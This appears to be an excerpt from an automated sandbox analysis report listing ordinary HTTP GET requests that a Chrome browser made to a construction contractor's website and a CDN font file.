Source: global traffic	HTTP traffic detected: GET /js/bootstrap.bundle.min.js HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/rlod.png HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/11/a8f19a8ddc204498fd4867850bfee67c.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/captcha.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/cdcicon.png HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/cdcicon.png HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /about HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/6/d1cf623cfda2ed689fc6281afcfa75de.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/aboutAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/bg/14.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/aboutAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /certifications HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/certifications/1/c3477d31049b9b96e47ca0d2bf05bcdb.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/certificationsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/9/296e3d1f4ce8845a75130582a997c1a7.gif HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/certificationsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/bg/14.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/certificationsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0Range: bytes=135930-135930If-Range: Fri, 30 Dec 2022 22:22:48 GMT
Source: global traffic	HTTP traffic detected: GET /uploads/certifications/2/4e78ca5f7dd4e2d66f3b7d895ae18bd3.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/certificationsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/certifications/3/b28c762ff89177dacd4852c7b909ca34.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/certificationsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/certifications/1/c3477d31049b9b96e47ca0d2bf05bcdb.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/bg/14.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/certificationsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0Range: bytes=135930-165417If-Range: Fri, 30 Dec 2022 22:22:48 GMT
Source: global traffic	HTTP traffic detected: GET /uploads/certifications/3/b28c762ff89177dacd4852c7b909ca34.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/certifications/2/4e78ca5f7dd4e2d66f3b7d895ae18bd3.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/9/296e3d1f4ce8845a75130582a997c1a7.gif HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/bg/14.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /projects HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/1/c10a34a38c54c09dea6d4e76cb363989.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.2.1/webfonts/fa-v4compatibility.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.citydiamondcontracting.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.1/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uploads/projects/5/37ea8047a2494b50f7dc694b8f8dcf37.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/6/f8dd4bffdef039afd52cc92797706540.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/7/21d631acc2ddb0fc3dcf4f737c53f9da.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/8/0c298f1956a31b39bf820e0dd7ec632b.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/22/99d0794491cfd3b80cd8a673e31ef7e3.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/17/e7dd25a6640aa7bddcdaf018fbb5a7f2.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/19/f8a20d10a257c0d0108fbe993c55b0fa.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/10/579de64f97d717521a5fc6fcc0eaa118.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/15/6a0a747aec6891a7650e250b247f7939.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/34/2df040a4c38aa8d8468943fbef9cc703.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/12/99cc5d257a0d7f25b4541a6275919c83.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/16/f2e9aef4e6dba3f5ab1fba99f80ec53b.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/18/d4358b3300881d66d5be0da1f9c2ed79.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/9/da3ea8845675faf87c497231993e7480.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/projects/13/ede6b29ab48bcd7727bef37740e56b13.webp HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/projectsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
